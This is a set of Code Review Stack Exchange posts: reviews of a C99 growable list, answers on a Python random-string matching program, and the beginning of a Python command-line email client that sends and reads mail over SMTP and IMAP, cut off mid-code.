kcr_list_free(vectors);
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T18:09:04.437",
"Id": "503695",
"Score": "0",
"body": "`struct KCR_Vec3` is not defined --> Compiler error."
}
] |
[
{
"body": "<ul>\n<li><p><code>kcr_list_append(void *list, void *item, size_t itemSize)</code> allows appending elements of different sizes. It does not seem to be a design intent. I strongly recommend to make the element size a property of the list.</p>\n</li>\n<li><p>I do not endorse this kind of macros. The list metadata are completely dissociated from the list initialization (notice that ugly <code>sizeof(int) * 2</code>). Consider</p>\n<pre><code> struct kcr_list {\n int length;\n int capacity;\n int element_size;\n char data[1];\n };\n\n void * kcr_list_create(int initialCapacity, size_t itemSize)\n {\n struct kcr_list * list = malloc(sizeof(struct kcr_list + initialCapacity * itemSize);\n return list->data;\n }\n</code></pre>\n<p>Other functions (<code>append</code> and <code>remove</code>) may get a hold of the base structure pointer via something along the lines of <a href=\"https://en.wikipedia.org/wiki/Offsetof#Usage\" rel=\"nofollow noreferrer\">container_of</a> macro.</p>\n</li>\n<li><p>It might be beneficial to let <code>remove</code> to shrink the capacity when the list becomes too short (with respect to capacity).</p>\n</li>\n<li><p>A note on <code>remove</code>. If you don't care about the order (and I don't see a need to care), you may improve the efficiency by copying only one item -namely, last one - over the removed:</p>\n<pre><code> lastSlot = list + (count - 1) * itemSize;\n memcpy(slotToRemove, lastSlot, itemSize);\n</code></pre>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T01:05:34.310",
"Id": "503633",
"Score": "0",
"body": "Thanks for the feedback. I thought about the struct approach but that meant the consumer would have to cast every data retrieval, instead of just making it `myDataType* myArray[]; myDataType element = myArray[5] `. With the struct don't I have to do `kcr_list* array; myDataType element = (myDataType) array->data[5]`? That seems more cumbersome. Is your concern with macros abated if I use inline functions instead?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T01:05:51.133",
"Id": "503634",
"Score": "0",
"body": "also ++ to encoding the element size, that's a good thought!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T01:19:20.023",
"Id": "503635",
"Score": "0",
"body": "Ignore my first comment. I see what you are suggesting and makes perfect sense."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T21:29:29.153",
"Id": "255261",
"ParentId": "255238",
"Score": "2"
}
},
{
"body": "<blockquote>\n<p>One thing I needed for the code I'm writing was a resizable list collection that can grow as items are added to it.</p>\n</blockquote>\n<p>Do you need something more like Java's <code>ArrayList</code> or like its <code>LinkedList</code>? Mentioning this difference would have been nice, instead I have to read the code to get the answer. That's more work on the reader's side. Remember, code is written and rewritten a few times, and read much more often, so it's good to optimize for reading speed.</p>\n<p><strong>list.h</strong></p>\n<pre><code>/**\n * Creates a new growable list\n</code></pre>\n<p>I prefer to end each sentence with a period. And to have an empty line between the main description and the <code>@param</code>. But that of course depends on the IDE and its highlighting capabilities. If it looks good already, just keep it.</p>\n<pre><code> * @param initialCapacity how many items the list should initially have memory for\n * @param itemSize The size of each item\n</code></pre>\n<p>Be consistent in the spelling. <code>how</code> starts lowercase, <code>The</code> starts uppercase.</p>\n<pre><code> * @return returns a pointer to the newly created list, or `NULL` if list creation failed\n</code></pre>\n<p>The <code>@return returns</code> is redundant. The <code>a pointer to</code> is redundant since that can be seen from the return type of the function.</p>\n<pre><code>void* kcr_list_create(int initialCapacity, size_t itemSize);\n</code></pre>\n<p>What if I pass <code>-13</code> as the initialCapacity? Is that undefined behavior? I would have chosen <code>size_t</code> for the capacity as well. This avoids problems later when you multiply signed and unsigned numbers. I don't know whether compilers typically warn about this type combination, but a strict linter might do.</p>\n<p>The return type <code>void *</code> is wrong. It must be some other pointer type, and even if that type is only used as a marker type. A <code>void *</code> can be implicitly converted to any other pointer without further warning, that's just too dangerous. Remember, C is the language that you should only use if you really want to shoot yourself in the foot. Using <code>void *</code> is a good way to achieve that.</p>\n<pre><code>/**\n * Appends a new item to the end of an existing list. If the list does not have the capacity for the item than\n * the list will be resized to account for it.\n</code></pre>\n<p>Spelling: it's "then", not "than". If you are unsure, just replace that word with a comma.\nOr reword the complete sentence:</p>\n<blockquote>\n<p>Appends an item to the end of the list, enlarging the list if necessary.</p>\n</blockquote>\n<p>This way, you also avoid the inconsistency in grammar. "Appends …" versus "will be resized".</p>\n<pre><code> * @param list Existing list to append the item onto\n * @param item A pointer to the item to add to the list\n * @param itemSize The memory size of the item to add. This must be the same as specified during creation\n</code></pre>\n<p>As already mentioned in another review, the <code>itemSize</code> is redundant here and must be hidden as an implementation detail in the list structure.</p>\n<pre><code> * @return returns a pointer to the latest location of the list. Consumers must always reference the list from\n * the value returned and not re-use the previous pointer, as when the list grows it may end up in a new spot\n * to accomodate the size it needed to grow into.\n</code></pre>\n<p>Typo: "accomodate" => "accommodate"</p>\n<p>I find it inconvenient to always have to re-assign the list variables. This feels like Go's <code>append</code> function, which I find so inconvenient that I <a href=\"https://github.com/golang/go/issues/29154\" rel=\"nofollow noreferrer\">suggested a short-hand syntax for it</a>.</p>\n<p>I like to have a stable pointer that refers to "the list" over its complete lifetime.</p>\n<pre><code>void* kcr_list_append(void* list, void* item, size_t itemSize);\n</code></pre>\n<p>Here you have the ambiguity: There's 3 times <code>void *</code>. Two of them mean the same, the third is different. That's a sign of a bad API.</p>\n<pre><code>void kcr_list_remove(void* list, int index, size_t itemSize);\n</code></pre>\n<p>Do you really need this function? If so, would it be more efficient to offer both an <code>ArrayList</code> and a <code>LinkedList</code>, depending on what usage patterns are more likely?</p>\n<pre><code>int kcr_list_length(const void* list);\n</code></pre>\n<p>What should the return value of <code>kcr_list_length("hello, world")</code> be? Should the compiler be able to detect this obvious mistake?</p>\n<p><strong>list.c</strong></p>\n<pre><code>#include <malloc.h>\n</code></pre>\n<p>From which century do you come? <code>malloc.h</code> has been obsolete since 1990, when C90 was standardized.</p>\n<pre><code>#include <mem.h>\n</code></pre>\n<p>I never heard of the header <code>mem.h</code>. You must be living in an exotic world, far from all standard implementations.</p>\n<pre><code>#include <math.h>\n</code></pre>\n<p>That sounds wrong. <code>math.h</code> is for floating-point arithmetics. That's not something you should need in memory management.</p>\n<pre><code>#define MIN_GROWTH 10\n#define RAW_LIST(list) ((int*) list) - 2\n#define LIST_LEN(list) (RAW_LIST(list))[0]\n#define LIST_CAP(list) (RAW_LIST(list))[1]\n#define FIRST_ELEMENT(list) ((int*) list) + 2\n</code></pre>\n<p>Urgs. That's really ugly. If you really want to keep this confusing programming style, at least define a <code>struct</code> for the internal data, so that you can name the individual members instead of referring to them by index.</p>\n<pre><code>void* kcr_list_create(int initialCapacity, size_t itemSize) {\n int* memory = malloc(sizeof(int) * 2 + itemSize * initialCapacity);\n if (memory == NULL) {\n return NULL;\n }\n\n memory = FIRST_ELEMENT(memory);\n</code></pre>\n<p>Bad. Don't reuse variables for different purposes just because they happen to have the same underlying implementation data type. <code>memory</code> points to the start of the actually allocated memory, the first element must be named <code>first_element</code> or something similar.</p>\n<pre><code>void *kcr_list_append(void *list, void *item, size_t itemSize) {\n if (list == NULL) {\n return NULL;\n }\n</code></pre>\n<p>Don't do that. Use an assertion instead of silently ignoring errors.</p>\n<p>It took me several weeks to remove this pattern from <a href=\"https://github.com/NetBSD/src/commits/trunk/usr.bin/make/lst.c\" rel=\"nofollow noreferrer\">NetBSD's make</a>, somewhere in August 2020, if I remember correctly, only to see that almost all callers passed valid lists all the time. The very few exceptional usages were impossible to spot in the original code. This created an unnecessary ambiguity. Make your code as clear, precise and specific as possible.</p>\n<pre><code> int newCapacity = capacity + (int) roundf((float) capacity * 1.25f);\n</code></pre>\n<p>That's crap. As I said, don't use floating point arithmetic where you need precise results. In an IEEE 754 implementation, <code>float</code> has 23 significant bits, which means that numbers above 16 million are approximated. Additionally, converting to floating pointer numbers and back to integers is completely unnecessary. If the capacity is small enough, a simple <code>capacity * 5 / 4</code> has the same effect. If you want, you can account for overflow. Or just use a <code>uint64_t</code> for the intermediate result, that cannot practically overflow.</p>\n<pre><code>void kcr_list_remove(void *list, int index, size_t itemSize) {\n if (list == NULL || index < 0) {\n return;\n }\n</code></pre>\n<p>Again, don't hide errors. <code>assert(list != NULL); assert(index >= 0);</code>.</p>\n<pre><code> if (index >= count) {\n return;\n }\n</code></pre>\n<p>And again.</p>\n<pre><code> void* slotToRemove = list + itemSize * index;\n … slotToRemove + itemSize …\n</code></pre>\n<p>Standard C doesn't allow arithmetic with void pointers, that's a GNU extension, and a bad one. It makes for sloppy code.</p>\n<p><strong>Test Usage</strong></p>\n<pre><code>int main() {\n</code></pre>\n<p>Missing prototype. Did you compile with all compiler warnings enabled? You really should, to catch trivial errors like this one. Write <code>int main(void)</code> instead.</p>\n<pre><code> struct KCR_Vec3* vectors = kcr_list_create(5, sizeof(struct KCR_Vec3));\n</code></pre>\n<p>Compile error. Undeclared type <code>KCR_Vec3</code>. I'll try to continue the review nevertheless. Next time, please post complete and compilable code.</p>\n<p>Instead of <code>sizeof(struct KCR_Vec3)</code>, just write <code>sizeof *vectors</code>. That's more reliable, just in case you need to change the data type. Sure, both styles require some form of repetition, either repeating the type or the variable name, so this is only a minor issue.</p>\n<pre><code> if (array == NULL) {\n fprintf(stderr, "Failed to add item #%i\\n", x);\n }\n</code></pre>\n<p>That's unreliable code. You must not print an error message and continue as if nothing bad had happened. Either continue, or print and error message and take the error path.</p>\n<p>The test code is unreliable. To see whether the test worked or not, you have to manually inspect its output. That's unnecessary work. Use a small test framework that does this work for you. The minimal approach is to use <code>assert</code> from the C Standard Library. A more advanced possibility is <a href=\"https://github.com/silentbicycle/greatest\" rel=\"nofollow noreferrer\">Greatest</a>, which is really solid code worth reading.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T01:25:14.420",
"Id": "503636",
"Score": "0",
"body": "Thanks for the detailed review, it's extremely appreciated! \n\nRe `List` naming, I come from a C# background which has `Array` and `List`, the former is static sized while the latter is growable. That's why I gave it the list name, but I see why that can be confusing. I'll go with ArrayList to help with that.\n\nRe: `malloc.h`, is `stdlib.h` the proper way to include `*alloc` functions?\n\nRe: `void*` thanks, I was not aware of that. I assume `char*` is the standard way to use pointer arithmetic?\n\nRe: remove, I don't get your comment about that. Java ArrayList has remove by index"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T01:28:21.617",
"Id": "503637",
"Score": "0",
"body": "Re: append returning a new pointer, I guess I can fix that with a `char **list` instead of `char *list`, which would allow me to reassign the pointer without a return, is that along the lines of what you are suggesting? Also does `append(char** list, void* item);` address the bad API comment, since that ends up with 2 different types?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:38:52.783",
"Id": "503872",
"Score": "0",
"body": "Yes, `<stdlib.h>` is the correct way to declare `malloc` and related functions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:40:33.563",
"Id": "503873",
"Score": "0",
"body": "For pointer arithmetic, `char *` is the usual data type. But before you actually do pointer arithmetic on `char *`, you should think twice whether there is a cleaner way to express your ideas. Maybe a struct or some other data structure."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:42:10.747",
"Id": "503874",
"Score": "0",
"body": "Regarding Java's `ArrayList.remove(index)`: Yes, that method exists, but it is slow if the list is large and you remove elements from the front. That's why I would only add that function to the API if it is actually necessary."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:44:25.797",
"Id": "503875",
"Score": "0",
"body": "Regarding the API of `append`: No, `char **` is not the appropriate data type since it has nothing to do with lists. When you define a list type and its related functions, the name of that list type should really contain the word `list` somewhere."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T00:52:33.167",
"Id": "255267",
"ParentId": "255238",
"Score": "1"
}
},
{
"body": "<p><strong>Bug: Potential wrong alignment</strong></p>\n<p>The pointer returned by <code>malloc()</code> and friends meets the alignment needs for all standards types.</p>\n<p>OP's code takes the address and offsets it by the size of 2 <code>int</code>. This is likely an agreeable alignment for many types, but not specified so. Consider a <code>complex long double</code> which may need an alignment of 16 and 2 <code>int</code> is 8.</p>\n<p>A solution is to use a header <code>struct</code> based with a <a href=\"https://en.wikipedia.org/wiki/Flexible_array_member\" rel=\"nofollow noreferrer\">FAM</a> which will add any required padding.</p>\n<pre><code>// #define RAW_LIST(list) ((int*) list) - 2\n// #define FIRST_ELEMENT(list) ((int*) list) + 2\n\nstruct head {\n int len;\n int cap;\n max_align_t data[];\n}\n\n#define RAW_LIST(list) (((struct head*) list) - 1)\n#define FIRST_ELEMENT(list) (((struct head*) list) + 1)\n\nstruct header *memory = malloc(sizeof *mmemory + itemSize*initialCapacity);\n</code></pre>\n<p>Use a final <code>()</code> around these macro definitions.</p>\n<p>I'd use <code>size_t</code> rather than <code>int</code>.</p>\n<p>The header also cleans up other code too. and makes it more flexible to add a uniform element size member.</p>\n<hr />\n<p><strong>Simplify interface</strong></p>\n<p>I see little value in the <code>int initialCapacity</code> parameter. 0 is fine.</p>\n<hr />\n<p><strong>Consider size of empty list</strong></p>\n<p>When a collection type is use a lot, the existence of <em>many</em> instances of empty lists is possible. Based on my experience, such collections are often empty.</p>\n<p>Consider a pointer of <code>NULL</code> as empty and adjust code accordingly. It can save quite a bit of space.</p>\n<p>This also allows clean <em>initialization</em>:</p>\n<pre><code>struct KCR_Vec3* vectors = 0;\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T01:15:18.373",
"Id": "503714",
"Score": "0",
"body": "Thanks for the comments! It's helpful"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T01:27:32.130",
"Id": "503717",
"Score": "0",
"body": "One question, why do you think initial capacity isn't needed. If you know you are going to append 100 items to the list, isn't it better to pass in the single 100 initial capacity for a single malloc, instead of several reallocs as you append new items?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T01:43:48.040",
"Id": "503719",
"Score": "0",
"body": "@KallDrexx Any competing approaches to code will have cases that favor one over the other. As a _general_ usage collection code, the initial capacity feature lacks value. Cases that tend to _know_ such things as initial capacity also tend to have a good idea of the max size needed. In that case, just allocate the array per the max size. Further the _initial capacity_ parameter fragments memory sizes. Without it, the sizes allocated/reallocated follow a fixed pattern -easier for the system allocator to maintain."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T01:46:37.503",
"Id": "503720",
"Score": "0",
"body": "Makes sense, thanks!"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T18:26:01.047",
"Id": "255297",
"ParentId": "255238",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T01:52:13.127",
"Id": "255238",
"Score": "4",
"Tags": [
"c",
"c99"
],
"Title": "Dynamic list in C99"
}
|
255238
|
<p>The following is my python code to find the number of iterations needed to generate random string iteratively to match the input string.</p>
<p>Here I have repeated a similar kind of for loop in both the functions getRandomString() and getMatchString(). I tried to avoid it but couldn't. I want this to be combined together into a single generateString() function with minimum iteration statements. Any suggestions to make it so or any other possible way to make the code better without complicating much?</p>
<p>The input is any string statements like "Hello, World! How Are Y@u doiNG?" and the output is the number of iterations needed to match the input string e.g 408. Your suggestions to improve the code will be helpful.</p>
<pre><code>import random
goalString = input()
stringLen = len(goalString)
alphanum = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !@#&()–[{}]:;‘,'?/*1234567890'''
alphaLen = len(alphanum)
def getRandomString():
randomString = ''
for i in range(stringLen):
randomString = randomString + alphanum[random.randrange(alphaLen)]
return randomString
def getMatchString():
betterString = getRandomString()
newString = ''
iteration = 1 #included the iteration of generating randomString
while betterString != goalString:
charIndex = [i for i in range(stringLen) if betterString[i] == goalString[i]]
for i in range(stringLen):
if i in charIndex:
newString = newString + betterString[i]
else:
newString = newString + alphanum[random.randrange(alphaLen)]
betterString = newString
newString = ''
iteration = iteration + 1
return iteration
print(getMatchString())
</code></pre>
<blockquote>
<p>Sample Input: "Hello, World! How Are Y@u doiNG?"</p>
<p>Sample Output: 408 ##May change depending on the random iteration##</p>
</blockquote>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T13:26:05.283",
"Id": "503572",
"Score": "4",
"body": "Please do NOT edit the question after an answer has been posted, especially the code. Everyone who sees the post should see what the first person that posted an answer saw. Please read [What should I do after someone answers?](https://codereview.stackexchange.com/help/someone-answers)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T13:30:31.590",
"Id": "503573",
"Score": "0",
"body": "You can ask follow up questions by linking to this question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T13:45:52.603",
"Id": "503575",
"Score": "0",
"body": "@pacmaninbw Just thought to optimize the original code so as to get a more refined code. Won't do that from now and add up the link questions to the original one as suggested by you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T15:10:32.230",
"Id": "503590",
"Score": "6",
"body": "Please stop modifying the code, as you were asked by others. Protip: if you follow suggestion #1 on [that list of options](https://codereview.stackexchange.com/help/someone-answers) then you might be able to earn more reputation points."
}
] |
[
{
"body": "<p>It took me a while to understand the code but I hope that I understood it properly.\nLets say you have the string "abcd"</p>\n<pre><code> goal string "abcd"\n 1st iteration "ftcP" -> you save the 3rd position as found\n 2nd iteration "aXlL" -> At this pint both 1st and 3rd positions have been found \n 3rd iteration "...." -> Still 3rd and 1st \n 4th iteration "UbDd" -> all positions have matched at least once. \n Stop and return 4 as the result\n</code></pre>\n<p>If the previous example is what you want to achieve below is my code suggestion</p>\n<pre><code>from random import choice\n\npool = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !@#&()–[{}]:;‘,'?/*1234567890'''\nGetNewChar = lambda : choice(pool)\n\ndef GetRandomString(stringLen):\n characters = [GetNewChar() for i in range(stringLen)]\n return ''.join(characters)\n\ndef IterationsToMatchString(goal_string):\n IsGoalAchieved = [False for i in goal_string]\n iterations = 0\n while not all(IsGoalAchieved): \n iterations += 1\n test_string = GetRandomString(len(goal_string))\n Matches = [g==t for g,t in zip(goal_string,test_string)]\n for i,t in enumerate(IsGoalAchieved):\n if t is False: \n IsGoalAchieved[i] = Matches[i]\n return iterations\n\nexample = input()\nprint(IterationsToMatchString(example))\n\n</code></pre>\n<p>regardless of which variable naming convention you use I suggest not using the same name for the function and the output unless you are writing a decorator function. In your "randomString" function you return a variable named "randomString" which makes the code difficult to understand and is likely to bug. I would suggest changing the name of the function to improve reading.</p>\n<p>Also you abuse the global keyword. You can just pass arguments to the function. In this case your function randomString generates a random string of a fixed length. Therefore you can always call that function with the length as a parameter.</p>\n<p>Also as you have seen I have substituted the usage of randrange by choice (but does the same). I prefer it because we are picking one item out of a certain sequence.I have used a lambda function to provide a more "readable" name that gives information about what is being done.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T10:36:58.447",
"Id": "503561",
"Score": "0",
"body": "Thanks for your suggestions. I will make the changes as mentioned by you to improve the code readability. I'll also go through your code and come back if I need any clarification."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T11:16:54.367",
"Id": "503563",
"Score": "0",
"body": "Does your code work? I couldn't get output from your code due to some error message."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T13:10:28.973",
"Id": "503568",
"Score": "0",
"body": "I forgot to \"initialize\" the iterations variable with \"0\" and also put an non neede argument in the GetNewChar. I have edited the post and it should work now"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T13:22:04.870",
"Id": "503570",
"Score": "0",
"body": "Yes, it is working now. You have used some wonderful techniques. Very helpful for me to enhance my coding. Thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T17:12:28.510",
"Id": "503606",
"Score": "0",
"body": "note that the naming conventions in this answer clash with most python code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T20:01:41.883",
"Id": "503617",
"Score": "1",
"body": "If you could please point me towards some reference for that I would love to learn more. I know that this code can get much better and I am aware that even within the answer the naming convention is not even consistent. And also feel free to edit the answer, I will be able to learn from the changes."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T10:00:18.743",
"Id": "255245",
"ParentId": "255244",
"Score": "3"
}
},
{
"body": "<p>Find my suggestions below.</p>\n<hr />\n<pre><code>goalString = input()\n</code></pre>\n<p>Let the user know what to do, <code>input</code> accepts a string as an argument:</p>\n<pre><code>goalString = input('Type a string:')\n</code></pre>\n<hr />\n<pre><code>alphanum = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !@#&()–[{}]:;‘,'?/*1234567890'''\n</code></pre>\n<p>If you need all printable characters you can use <a href=\"https://docs.python.org/3/library/string.html#string-constants\" rel=\"nofollow noreferrer\">string.printable</a>:</p>\n<pre><code>import string\n\nalphabet = string.printable\n# alphabet contains: 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~\n</code></pre>\n<p>Or choose a combination of other constants in the <a href=\"https://docs.python.org/3/library/string.html#module-string\" rel=\"nofollow noreferrer\">string</a> module.</p>\n<hr />\n<p>Generating a random string</p>\n<pre><code>def getRandomString():\n randomString = ''\n for i in range(stringLen):\n randomString = randomString + alphanum[random.randrange(alphaLen)]\n \n return randomString \n</code></pre>\n<ul>\n<li>Avoid using globals passing the length as an argument</li>\n<li>String concatenation can be done more efficiently with join</li>\n<li>Use <a href=\"https://docs.python.org/3/library/random.html#random.choices\" rel=\"nofollow noreferrer\">random.choices</a> to avoid the for-loop</li>\n<li><a href=\"https://www.python.org/dev/peps/pep-0008/#function-and-variable-names\" rel=\"nofollow noreferrer\">PEP 8</a>: function names should be lowercase, with words separated by underscores. Variable names follow the same convention as function names.</li>\n</ul>\n<pre><code>def generate_random_string(n):\n alphabet = string.printable\n return ''.join(random.choices(alphabet, k=n))\n</code></pre>\n<hr />\n<p>The function to match the string creates many strings using concatenation. It can be done more efficiently by using a list of booleans (as @rperezsoto suggested).</p>\n<pre><code>def get_matching_string(s):\n n = len(s)\n matches = [False] * n\n i = 0\n while not all(matches):\n matches = [matches[i] or s[i] == c for i, c in enumerate(generate_random_string(n))]\n i += 1\n return i\n</code></pre>\n<p>The key part is to use the operator <code>or</code> that "remembers" positive matches.</p>\n<hr />\n<blockquote>\n<p>I want this to be combined together into a single generateString()\nfunction with minimum iteration statements</p>\n</blockquote>\n<p>I would suggest keeping two separate functions as in your first solution. The code will be easier to test and reuse. Additionally, you can extract the logic to request the input and print the result from the function <code>getMatchString</code> with a main function:</p>\n<pre><code>def main():\n s = input('Type a string:')\n print(get_matching_string(s))\n\nif __name__ == "__main__":\n main()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T14:51:23.800",
"Id": "503587",
"Score": "2",
"body": "string.printable and random.choices make things easier here. Appreciate your effort in explaining them in detail. Yes, instead of focussing on reducing functions, I should create reusable functions. Good, you mentioned many helpful tips like PEP 8 for creating function names. Thanks!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T14:28:11.900",
"Id": "255249",
"ParentId": "255244",
"Score": "9"
}
},
{
"body": "<p>Since your result is only the number of iterations, you don't actually have to work with strings. Just keep track of how many characters are still wrong.</p>\n<pre><code>import random\n\ngoalString = input()\n\nalphaLen = 82\n\ndef getMatchString():\n wrong = len(goalString)\n iteration = 0\n while wrong:\n wrong = sum(random.choices((0, 1), (1, alphaLen-1), k=wrong))\n iteration = iteration + 1 \n return iteration or 1\n\nprint(getMatchString())\n</code></pre>\n<p>Or handle the characters separately and take the max number of iterations:</p>\n<pre><code>import random\n\ngoalString = input()\n\nalphaLen = 82\n\ndef getMatchChar():\n iteration = 1\n while random.randrange(alphaLen):\n iteration += 1\n return iteration\n\ndef getMatchString():\n return max(getMatchChar() for _ in goalString)\n\nprint(getMatchString())\n</code></pre>\n<p>A version that's perhaps slightly clearer:</p>\n<pre><code>import random\n\nalphanum = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !@#&()–[{}]:;‘,'?/*1234567890'''\n \ndef getMatchChar(goalChar):\n iteration = 1\n while random.choice(alphanum) != goalChar:\n iteration += 1\n return iteration\n\ndef getMatchString(goalString):\n return max(getMatchChar(goalChar) for goalChar in goalString)\n\ngoalString = input()\nprint(getMatchString(goalString))\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T05:42:59.567",
"Id": "503640",
"Score": "0",
"body": "Liked the way how you approached solving the problem. Both options provide the right solution. I understood the first one which seems to be directly solving it. However, I couldn't get your idea behind the second option. Could you explain it a little bit? The second one seems to produce a different range of iteration results and you have taken maximum out of it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T11:26:07.537",
"Id": "503657",
"Score": "1",
"body": "@Jerin06 In your way, you keep going until all characters match. That is, the slowest-matching character is what matters. The one that took the maximum time to match. That's what my second option does. It produces the same range of iteration results (in getMatch**String**, not in getMatch**Char**, of course)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T14:11:46.080",
"Id": "503666",
"Score": "0",
"body": "@Jerin06 Added yet another version that's like the second one but perhaps a little clearer (without being much longer or slower)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T14:32:03.803",
"Id": "503672",
"Score": "0",
"body": "Yes, this one is much easier for me to understand. You have simplified the code very well. The only thing I am not sure about here is how long the while loop runs here and whether that increases the time complexity compared to the previous codes. If there is no problem with time complexity, I prefer this last option added by you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T16:31:01.177",
"Id": "503691",
"Score": "0",
"body": "@Jerin06 Compared to yours, mine *decrease* the time complexity, as I don't keep looking over and over again at already matched characters."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T16:26:12.670",
"Id": "255253",
"ParentId": "255244",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255253",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T09:33:56.527",
"Id": "255244",
"Score": "6",
"Tags": [
"python",
"python-3.x",
"strings",
"random",
"iteration"
],
"Title": "Generate random string to match the goal string with minimum iteration and control statements"
}
|
255244
|
<p>This is a basic CLI email client in Python. It can send plain text emails and view inbox. <code>settings.json</code> contains a list of SMTP and IMAP servers used for different providers. This file can be edited.</p>
<p>client.py</p>
<pre><code>import argparse
import email
import getpass
import imaplib
import json
import os
import re
import smtplib
import ssl
import webbrowser
def clean(text):
# Clean text for creating a folder.
return "".join(c if c.isalnum() else "_" for c in text)
def get_email():
user_email = input("Email: ")
# Validate the email entered.
while not re.match(r"[^@]+@[^@]+\.[^@]+", user_email):
print("Error: Email provided is invalid.")
user_email = input("Email: ")
return user_email
def get_credentials():
user_email = get_email()
# Mask the password entered.
password = getpass.getpass(prompt="Password: ")
return user_email, password
def new_email():
email, password = get_credentials()
smtp_server = ""
with open("settings.json", "r") as settings_file:
settings = json.load(settings_file)
try:
smtp_server = settings[email[email.find("@") + 1 : email.rfind(".")]]["smtp_server"]
except KeyError:
print("Error: Email provider not supported.")
return
recipient = get_email()
subject = input("Subject: ")
content = input("Message: ")
message = "Subject:" + subject + "\n\n" + content
# Set up SMTP server.
port = 587
context = ssl.create_default_context()
# Try to log in and send the email.
try:
server = smtplib.SMTP(smtp_server,port)
server.ehlo()
server.starttls(context=context)
server.ehlo()
server.login(email, password)
server.sendmail(email, recipient, message)
except Exception as e:
# Print any error messages to stdout.
print(e)
finally:
server.quit()
def view_inbox():
# Repeat prompting for credentials until correct ones are provided.
logged_in = False
while not logged_in:
user_email, password = get_credentials()
# Try to load the IMAP server name from settings.json file.
imap_server_name = ""
with open("settings.json", "r") as settings_file:
settings = json.load(settings_file)
try:
imap_server_name = settings[user_email[user_email.find("@") + 1 : user_email.rfind(".")]]["imap_server"]
except KeyError:
print("Error: Email provider not supported.")
continue
# Initialise the IMAP server.
imap_server = imaplib.IMAP4_SSL(imap_server_name)
try:
imap_server.login(user_email, password)
except:
print("Error: Incorrect credentials.")
else:
logged_in = True
status, messages = imap_server.select("INBOX")
while True:
try:
emails_to_load = int(input("Select a number of emails to load: "))
except ValueError:
print("Error: Invalid value.")
continue
else:
break
messages = int(messages[0])
for i in range(messages, messages - emails_to_load, -1):
data = imap_server.fetch(str(i), "(RFC822)" )
for response_part in data:
arr = response_part[0]
if isinstance(arr, tuple):
msg = email.message_from_string(str(arr[1],"utf-8"))
email_subject = msg["subject"] if msg["subject"] else ""
email_from = msg["from"]
print("From : " + email_from + "\n")
print("Subject : " + email_subject + "\n")
# If the message is multipart.
if msg.is_multipart():
# Iterate over email parts.
for part in msg.walk():
# Extract content type of the email.
content_type = part.get_content_type()
content_disposition = str(part.get("Content-Disposition"))
try:
